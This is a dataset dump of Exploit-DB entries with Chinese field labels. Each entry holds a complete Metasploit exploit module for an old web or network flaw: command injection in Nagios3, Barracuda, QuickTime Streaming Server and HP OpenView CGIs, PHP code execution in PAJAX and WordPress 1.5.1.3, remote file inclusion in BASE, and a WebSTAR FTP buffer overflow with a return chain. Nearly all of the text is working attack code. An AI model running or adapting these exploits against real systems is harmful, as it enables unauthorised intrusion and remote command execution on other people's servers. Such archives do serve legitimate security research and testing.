QLWD/code_shield huggingface dataset:
标题: Nagios3 - 'statuswml.cgi' 'Ping' Command Execution (Metasploit) EDB-ID: 16908 CVE: 2009-2288 类型: WEBAPPS 平台: CGI 发布日期: 2010-07-14 漏洞利用脚本: ##
# $Id: nagios3_statuswml_ping.rb 9829 2010-07-14 18:23:47Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Nagios3 statuswml.cgi Ping Command Execution',
   'Description'    => %q{
     This module abuses a metacharacter injection vulnerability in the
    Nagios3 statuswml.cgi script. This flaw is triggered when shell
    metacharacters are present in the parameters to the ping and
    traceroute commands.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9829 $',
   'References'     =>
    [
     [ 'CVE', '2009-2288' ],
     [ 'OSVDB', '55281'],
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'BadChars'    => '<>',
     'Compat'      =>
      {
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 22 2009'))

  register_options(
   [
    OptString.new('URI',  [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
    OptString.new('USER', [true, "The username to authenticate with", "guest"]),
    OptString.new('PASS', [true, "The password to authenticate with", "guest"]),
   ], self.class)
 end

 def exploit

  print_status("Sending request to http://#{rhost}:#{rport}#{datastore['URI']}")

  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => datastore['URI'],
   'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
   'vars_post' =>
   {
    'ping' => ';' + payload.encoded + '&'
   }
  }, 10)


  if(not res)
   if session_created?
    print_status("Session created, enjoy!")
   else
    print_error("No response from the server")
   end
   return
  end

  if(res.code == 401)
   print_error("Please specify correct values for USER and PASS")
   return
  end

  if(res.code == 404)
   print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
   return
  end

  if(res.body =~ /Invalid host name/)
   print_error("This server has already been patched")
   return
  end

  if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
   print_status("Displaying command response")
   out = $1
   print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
   return
  end

  print_status("Unknown response")
 end

end URL: https://www.exploit-db.com/exploits/16908
标题: Barracuda - IMG.pl Remote Command Execution (Metasploit) EDB-ID: 16893 CVE: 2005-2847 类型: WEBAPPS 平台: CGI 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: barracuda_img_exec.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Barracuda IMG.PL Remote Command Execution',
   'Description'    => %q{
     This module exploits an arbitrary command execution vulnerability in the
    Barracuda Spam Firewall appliance. Versions prior to  3.1.18 are vulnerable.
   },
   'Author'         => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     ['CVE', '2005-2847'],
     ['OSVDB', '19279'],
     ['BID', '14712'],
     ['NSS', '19556'],
     ['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 4000,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Sep 01 2005',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]),
   ], self.class)
 end

 def check
  res = send_request_cgi({
   'uri'      => datastore['URI'],
   'vars_get' =>
   {
    'f' => ("../" * 8) + "etc/hosts"
   }
  }, 25)

  if (res and res.body.match(/localhost/))
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  res = send_request_cgi({
   'uri'      => datastore['URI'],
   'vars_get' =>
   {
    'f' => ("../" * 8) + %Q!bin/sh -c "echo 'YYY'; #{payload.encoded}; echo 'YYY'"|!
   }
  }, 25)

  if (res)
   print_status("The server returned: #{res.code} #{res.message}")
   print("")

   m = res.body.match(/YYY(.*)YYY/)

   if (m)
    print_status("Command output from the server:")
    print(m[1])
   else
    print_status("This server may not be vulnerable")
   end

  else
   print_status("No response from the server")
  end
 end

end URL: https://www.exploit-db.com/exploits/16893
标题: QuickTime Streaming Server - 'parse_xml.cgi' Remote Execution (Metasploit) EDB-ID: 16891 CVE: 2003-0050 类型: WEBAPPS 平台: CGI 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: qtss_parse_xml_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'QuickTime Streaming Server parse_xml.cgi Remote Execution',
   'Description'    => %q{
     The QuickTime Streaming Server contains a CGI script that is vulnerable
    to metacharacter injection, allow arbitrary commands to be executed as root.
    },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'OSVDB', '10562'],
     [ 'BID', '6954' ],
     [ 'CVE', '2003-0050' ]
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 512,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl bash telnet',
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Feb 24 2003'
  ))

  register_options(
   [
    Opt::RPORT(1220)
   ], self.class)
 end

 def exploit

  print_status("Sending post request with embedded command...")

  data = "filename=" + Rex::Text.uri_encode(";#{payload.encoded}|")

  response = send_request_raw({
   'uri'   => "/parse_xml.cgi",
   'method'  => 'POST',
   'data'    => data,
   'headers' =>
   {
    'Content-Type'  => 'application/x-www-form-urlencoded',
    'Content-Length' => data.length,
   }
  }, 3)

  # If the upload worked, the server tries to redirect us to some info
  # about the file we just saved
  if response and response.code != 200
   print_error("Server returned non-200 status code (#{response.code})")
  end

  handler
 end
end URL: https://www.exploit-db.com/exploits/16891
标题: PAJAX - Remote Command Execution (Metasploit) EDB-ID: 16901 CVE: 2006-1551 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: pajax_remote_exec.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PAJAX Remote Command Execution',
   'Description'    => %q{
     RedTeam has identified two security flaws in PAJAX (<= 0.5.1).
    It is possible to execute arbitrary PHP code from unchecked user input.
    Additionally, it is possible to include arbitrary files on the server
    ending in ".class.php".
   },
   'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     ['CVE', '2006-1551'],
     ['OSVDB', '24618'],
     ['BID', '17519'],
     ['URL', 'http://www.redteam-pentesting.de/advisories/rt-sa-2006-001.php'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
     'Space'       => 4000,
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Mar 30 2006',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('URI', [true, "The full URI path to pajax_call_dispatcher.php", "/pajax/pajax/pajax_call_dispatcher.php"]),
    OptString.new('MOD', [true, "The PAJAX module name", "Calculator"])
   ], self.class)
 end


 def exploit

  args = %Q!{ "id": "bb2238f1186dad8d6370d2bab5f290f71", "className": "#{datastore['MOD']}", "method": "add(1,1);#{payload.encoded};$obj->add", "params": ["1", "5"] }!

  res = send_request_cgi({
   'uri'      => datastore['URI'],
   'method'   => 'POST',
   'data'     => args,
   'ctype'    => 'text/x-json'
  }, 25)

  if (res)
   print_status("The server returned: #{res.code} #{res.message}")
  else
   print_status("No response from the server")
  end
 end

end URL: https://www.exploit-db.com/exploits/16901
标题: BASE - 'base_qry_common' Remote File Inclusion (Metasploit) EDB-ID: 16897 CVE: 2006-2685 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: base_qry_common.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::HttpServer::PHPInclude

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BASE base_qry_common Remote File Include',
   'Description'    => %q{
     This module exploits a remote file inclusion vulnerability in
    the base_qry_common.php file in BASE 1.2.4 and earlier.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11127 $',
   'References'     =>
    [
     [ 'CVE', '2006-2685' ],
     [ 'OSVDB', '49366'],
     [ 'BID', '18298' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
     'Space'       => 32768,
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Jun 14 2008',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/base/base_qry_common.php?BASE_path=!URL!"]),
   ], self.class)
 end

 def php_exploit

  timeout = 0.01
  uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
  print_status("Trying uri #{uri}")

  response = send_request_raw( {
    'global' => true,
    'uri' => uri,
   },timeout)

  if response and response.code != 200
   print_error("Server returned non-200 status code (#{response.code})")
  end

  handler
 end

end URL: https://www.exploit-db.com/exploits/16897
标题: WordPress Core 1.5.1.3 - 'cache_lastpostdate' Arbitrary Code Execution (Metasploit) EDB-ID: 16895 CVE: 2005-2612 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: php_wordpress_lastpost.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
   'Description'    => %q{
     This module exploits an arbitrary PHP code execution flaw in the WordPress
    blogging software. This vulnerability is only present when the PHP 'register_globals'
    option is enabled (common for hosting providers). All versions of WordPress prior to
    1.5.1.3 are affected.
   },
   'Author'         => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9671 $',
   'References'     =>
    [
     ['CVE', '2005-2612'],
     ['OSVDB', '18672'],
     ['BID', '14533'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
     'Space'       => 512,
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Aug 9 2005',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
   ], self.class)
 end

 def exploit

  enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
  str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
  data =
   "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
   "wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
   "cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
   ";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
   "wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
   "wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

  # Trigger the command execution bug
  res = send_request_cgi({
    'uri'      => datastore['URI'],
    'cookie'   => data
   }, 25)

  if (res)
   print_status("The server returned: #{res.code} #{res.message}")
  else
   print_status("No response from the server")
  end
 end

end URL: https://www.exploit-db.com/exploits/16895
标题: HP OpenView Network Node Manager (OV NNM) - 'connectedNodes.ovp'l Remote Command Execution (Metasploit) EDB-ID: 16887 CVE: 2005-2773 类型: REMOTE 平台: LINUX 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: openview_connectednodes_exec.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP Openview connectedNodes.ovpl Remote Command Execution',
   'Description'    => %q{
     This module exploits an arbitrary command execution vulnerability in the
    HP OpenView connectedNodes.ovpl CGI application. The results of the command
    will be displayed to the screen.
   },
   'Author'         => [ 'Valerio Tesei <valk[at]mojodo.it>', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9671 $',
   'References'     =>
    [
     ['CVE', '2005-2773'],
     ['OSVDB', '19057'],
     ['BID', '14662'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 1024,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Aug 25 2005',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('URI', [true, "The full URI path to connectedNodes.ovpl", "/OvCgi/connectedNodes.ovpl"]),
   ], self.class)
 end

 def exploit

  # Trigger the command execution bug
  res = send_request_cgi({
    'uri'      => datastore['URI'],
    'vars_get' =>
     {
      'node'    => %Q!; echo YYY; #{payload.encoded}; echo YYY| tr "\\n" "#{0xa3.chr}"!
     }
    }, 25)

  if (res)
   print_status("The server returned: #{res.code} #{res.message}")
   print("")

   m = res.body.match(/YYY(.*)YYY/)

   if (m)
    print_status("Command output from the server:")
    print(m[1])
   else
    print_status("This server may not be vulnerable")
   end

  else
   print_status("No response from the server")
  end
 end

end URL: https://www.exploit-db.com/exploits/16887
标题: WebSTAR FTP Server - USER Overflow (Metasploit) EDB-ID: 16872 CVE: 2004-0695 类型: REMOTE 平台: OSX 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: webstar_ftp_user.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WebSTAR FTP Server USER Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the logging routine
    of the WebSTAR FTP server. Reliable code execution is
    obtained by a series of hops through the System library.
   },
   'Author'         => [ 'ddz', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2004-0695'],
     [ 'OSVDB', '7794'],
     [ 'BID', '10720'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 300,
     'BadChars' => "\x00\x20\x0a\x0d",
     'Compat'   =>
      {
       'ConnectionType' => "+find"
      },
    },
   'Targets'        =>
    [
     [
      'Mac OS X 10.3.4-10.3.6',
      {
       'Platform'     => 'osx',
       'Arch'          => ARCH_PPC,
       'Rets'          => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ],
      },
     ],
    ],
   'DisclosureDate' => 'Jul 13 2004',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]),
   ], self)
 end

 # crazy dino 5-hop foo
 #$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
 #$r28 = pack('N', 0x90034d60); # getgid()
 #$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
 #$r30 = pack('N', 0x90023590); # call $r3

 def exploit
  connect

  # The offset to the return address is dependent on the length of our hostname
  # as the target system resolves it ( IP or reverse DNS ).
  mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])
  basel =  285 - mhost.length

  print_status("Trying target #{target.name}...")

  #  ret = 296
  # r25  = 260
  # r26  = 264
  # r27  = 268
  # r28  = 272
  # r29  = 276
  # r30  = 280
  # r31  = 284

  # r1+120 = 408

  buf                 = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)
  buf[basel +  24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120
  buf[basel      , 4] = [ target['Rets'][1] ].pack('N') # getgid()
  buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30
  buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3
  buf << payload.encoded

  send_cmd( ['USER', buf] , true )
  send_cmd( ['HELP'] , true )

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16872